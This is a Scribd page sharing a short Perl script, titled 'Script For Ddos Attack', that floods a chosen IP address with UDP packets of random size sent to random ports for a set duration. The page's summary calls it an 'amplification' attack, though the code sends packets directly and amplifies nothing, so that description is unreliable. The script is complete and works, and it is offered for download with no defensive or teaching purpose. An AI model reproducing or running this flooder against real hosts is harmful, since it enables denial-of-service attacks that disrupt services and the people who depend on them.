Scribd
Upload
699 views

Script For Ddos Attack

This Perl script is a UDP amplification attack tool that connects to a target IP address and port and sends large UDP packets to perform a denial of service attack. It accepts command line arguments for the target IP, port, packet size, and duration. It sets up sockets, connects to the target, and then launches a for loop that generates packets of random sizes between 64-1500 bytes and random ports to send to the target for the specified time period.

Uploaded by

Cristian Olteanu
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
699 views

Script For Ddos Attack

This Perl script is a UDP amplification attack tool that connects to a target IP address and port and sends large UDP packets to perform a denial of service attack. It accepts command line arguments for the target IP, port, packet size, and duration. It sets up sockets, connects to the target, and then launches a for loop that generates packets of random sizes between 64-1500 bytes and random ports to send to the target for the specified time period.

Uploaded by

Cristian Olteanu
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

#!

/usr/bin/perl
# Copyright 2016 MrReacher LLC @ mrreacher.com
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.

use Socket;
use strict;

if ($#ARGV != 3) {
print "\n\t\t\t***Command must recieve four arguements***\n";
print "perl uam 69.69.69.69 0 65500 0\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "\n\033[1;m[\033[31mUDP AMPLIFIED M\033[1;m]\n\033[1;31mSetting up sockets..


";
sleep 1;
print "\033[1;m[\033[1;33mDONE\033[1;m]\033[1;31m\nConnecting to the host.. \
033[1;m[\033[1;33mCONNECTED\033[1;m]\n\033[1;31mHitting \033[1;33m$ip..\033[1;m";
sleep 1;
print "\n\033[1;31mHitting \033[1;33m$ip..\033[1;m";

for (;time() <= $endtime;) {


$psize = $size ? $size : int(rand(1500-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

You might also like